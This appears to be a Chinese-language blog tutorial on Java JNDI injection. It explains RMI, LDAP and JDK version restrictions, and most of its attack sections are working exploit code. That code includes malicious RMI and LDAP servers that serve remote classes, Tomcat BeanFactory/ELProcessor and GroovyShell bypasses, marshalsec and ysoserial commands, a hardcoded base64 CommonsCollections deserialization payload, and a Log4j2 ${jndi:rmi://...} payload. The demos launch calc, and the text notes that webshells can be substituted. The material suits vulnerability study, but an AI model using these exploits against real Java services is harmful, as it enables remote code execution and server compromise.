RMI和JRMP
谈到JNDI,就不得不简单提一下RMI协议(远程方法调用)简单的来说,就是跨越JVM,来调用另外一个JVM里的方法,在分布式架构里经常使用到RMI。简单的来说,RMI是一个动作。比如我们访问浏览器的地址,地址给我们提供了一个接口,我们在A处调用了B处的接口提供的服务,这就是RMI。
提到RMI,就不得不提到JRMP。JRMP是一种协议(Java Remote Method Protocol),和浏览器访问地址一样,浏览器的访问网站基于HTTP,而JRMP就是对齐HTTP协议的一种协议。只有基于JRMP,RMI才能有效可靠的传输数据。JRMP对非Java语言开发的应用系统支持不足,不能与非java语言的对象进行通信
RMI的传输是基于反序列化的。
JKD8u121以下——JNDI+RMI
JNDI全称Java命名和目录接口(Java Naming and Directory Interface),因此JNDI是一个接口,它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
简单的来说,我们可以将JNDI理解成为是一个很大的文件目录,目录里有很多文件又有
JNDI注入往往需要用到RMI和LDAP协议,因为这两个协议是JNDI的实现者,当然也存在其他的协议,例如DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
那么,简单的来说JNDI就是将RMI,LDAP,DNS等这些所谓的目录服务进行关联。
RMI+JNDI的三部分
1、服务器端
服务器因为使用了JNDI的Lookup方法,且jndiname传入的参数可控,因此造成了JNDI注入漏洞
import javax.naming.InitialContext;
public class client_jndi_test {
public static void main(String[] args) throws Exception{
String jndiname="rmi://127.0.0.1:7777/calccccc";
new InitialContext().lookup(jndiname);
}
}
2、恶意服务类——RMI注册起的恶意服务
这个类是我们构造的使目标不安全的JNDI_InitialContext_lookup方法来寻找我们构造的RMI服务,此时该恶意服务类会监听一个端口,受害者服务器请求这个RMI端口,进而通过这个RMI服务来索引到我们真正的恶意攻击类test来执行runtime.exec命令
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDImain {
public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(7777);
//返回一个Reference对象,
//Reference为构造方法,classname为远程加载的类,factory为需要实例化的类,最后一个为提供classes数据的地址
Reference reference = new Reference("test", "test", "http://localhost:1111/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calccccc", wrapper);
}
}
3、恶意攻击类
利用时,利用需要写一个普通的恶意类TEST.CLASS,放置web目录下,主要是为了能找到这个CLASS
import java.io.IOException;
public class test {
public test() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
当然也可以是回显的,这个无所谓,反正就是一个恶意的CLASS,可以自定义任何内容,包括冰蝎马内存马
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest {
public ExecTest() throws IOException,InterruptedException{
String cmd="whoami";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}
4、总结:
1、JNDI注入——lookup(URL)方法里的URL可控
2、起RMI服务端和恶意类,此时URL可控将数据发送到RMI服务端口,RMI服务存在恶意的reference对象,该reference对象此时已经被恶意的攻击类绑定,那获取到reference 对象后,就会寻找被指定的恶意类,如果找不到就请求远程的地址到本地然后执行。
3、把恶意攻击类(ExecTest.java)及其编译的文件放到其他目录下,不然会在当前目录中直接找到这个类。不起web服务也会命令执行成功。这里使用远程加载的方式,在本地环境失败,猜测应该是本地JDK版本太高了。
JDK高版本的绕过
JNDI 对于不同版本JDK利用总结来说有三种
1、JNDI 请求远程VPS加载远程Class 触发命令执行
2、JNDI 请求远程VPS LDAP 调用服务本地的依赖存在的应用服务或组件 触发命令执行
TOMCAT8 GROOVY
3、JNDI 请求 反序列化链触发命令执行
JDK版本大于等于8u121之后
因为在jdk8u121版本开始,Oracle通过默认设置系统变量com.sun.jndi.rmi.object.trustURLCodebase为false,将导致通过rmi的方式加载远程的字节码不会被信任。
因此在不使用一些Tips时,需要添加如下代码在服务器端,如果目标服务器的代码存在JNDI注入,而JDK版本太高的话,我们肯定控制不了他添加这一行代码啊,因此出现了其他的JAVA JNDI利用Tips。
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase","true");
import javax.naming.InitialContext;
public class client_jndi_test {
public static void main(String[] args) throws Exception{
String jndiname="rmi://127.0.0.1:7777/calccccc";
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
new InitialContext().lookup(jndiname);
}
}
JDK版本小于8u191—JNDI+LDAP
JNDI注入配合LDAP是因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制。
在JDK8u191之前的版本,我们可以启动LDAP服务代理RMI服务来攻击利用,使用marshalsec来开启这个服务。此时的JNDI漏洞利用同样简单:
- 1、新建一个恶意类并发布到http服务器
- 2、启动一个ldap服务器
- 3、控制客户端lookup()中的URL为我们的恶意LDAP地址
如下图所示,这里JNDI+LDAP本地环境测试失败了,应该是JDK版本太高了marshalsec:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.202.1:8000/#Evail 9999
JDK版本大于等于JDK8u191
而在jdk8u191版本开始,官方又盯上了LDAP服务,将com.sun.jndi.ldap.object.trustURLCodebase配置默认为false,导致通过ldap的方式加载远程的字节码不会被信任。
JNDI+RMI+TOMCAT8
通过远程加载恶意类的方式已经失效了,不过JNDI注入的修复并没有限制从本地加载类文件,因此就有了新的利用方式。在TOMCAT8里刚好存在一个工厂类实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance()方法为org.apache.naming.factory.BeanFactory 满足上需求。
具体原理我也不懂,反正就是在TOMCAT依赖包里存在这么一个特殊的类能满足高版本JDK的漏洞利用需求。
复现:同样还是需要一个服务器端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
String uri = "rmi://192.168.202.1:1099/exp";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
第二需要一个恶意RMI服务类,这个恶意RMI类中直接写入恶意代码,无需另外起一个HTTP服务构造恶意类
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.apache.naming.ResourceRef;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(resourceRef);
registry.bind("exp", refObjWrapper);
System.out.println("Creating evil RMI registry on port 1099");
}
}
POM.XML依赖
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.45</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.lucee</groupId>
<artifactId>javax.el</artifactId>
<version>3.0.0</version>
</dependency>
</dependencies>
这里本地测试失败了,可能还是和某些版本的JDK有些关系,下次试试低版本的JDK环境吧
JNDI+RMI+groovy
RMI客户端,同样无需起HTTP服务
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jnditomcat {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
String script = String.format("'%s'.execute()", "calc"); //commandGenerator.getBase64CommandTpl());
ref.add(new StringRefAddr("x",script));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(ref);
registry.bind("exp", refObjWrapper);
System.out.println("Creating evil RMI registry on port 1099");
}
}
启动Client发送lookup数据包,成功执行命令
POM.XML
<dependencies>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>1.5.0</version>
</dependency>
</dependencies>
这里使用的是goovy任意类,使用groovy.lang.GroovyClassLoade调用的JNDI出现如下报错
JNDI+LDAP+CC链
java -jar ysoserial.jar CommonsCollections6 “calc.exe”|base64
pom.xml依赖
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>jnditomcat</groupId>
<artifactId>jnditomcat</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
</project>
ldap服务端代码
import java.net.InetAddress;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
public class jnditomcat {
private static final String LDAP_BASE = "dc=t4rrega,dc=domain";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1/#Deserialize"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new jnditomcat.OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AAhjYWxjLmV4ZXQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4"));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
jndi服务器只需连接到ldap:127.0.0.1/Deserialize即可实现反序列化打出calc
参考这些文章:
https://paper.seebug.org/942/
https://xz.aliyun.com/t/10671
https://xz.aliyun.com/t/10035#toc-3
https://blog.csdn.net/weixin_42122306/article/details/112630514
相关漏洞:
蓝凌SSRF+JNDI注入
蓝凌的这个漏洞主要是custom.jsp页面存在SSRF漏洞,可利用该SSRF漏洞进行file协议的任意文件读取,从而获取到admin.do页面的密码,而admin.do存在JNID注入。
log4j2
Log4j2 core是一个日志记录的核心jar包,在Jar包里内置了许多插件,而lookups就是其中的一个插件功能
log4j2漏洞官方提供的使用代码${jndi:JNDIContent}
log4j2漏洞payload:${jndi:rmi://aa.umkpfr.dnslog.cn/Log4jTes}
并且我们知道产生漏洞的地方为Logger.error()这个地方,因此跟进这个方法,不断跟进后
存在⼀个关键点在 PatternFormatter.java 中的 format ⽅法:
该方法对存在$后面跟着的‘{’直到‘}’进行replace
第二个关键点,repalce后会到代码Interpolator.lookup方法中,获取到如果前缀为jndi,就进入jndilookup方法进行处理
最终传入的url就被lookup解析,从而造成JNDI注入
资料
https://xz.aliyun.com/t/7079
https://paper.seebug.org/1091/
https://mp.weixin.qq.com/s/cyeEAv31GO_hZCTXVRBkxw
https://xz.aliyun.com/t/6633
https://www.cnblogs.com/nice0e3/p/13927460.html
https://blog.csdn.net/he_and/article/details/105586691
https://xz.aliyun.com/t/10035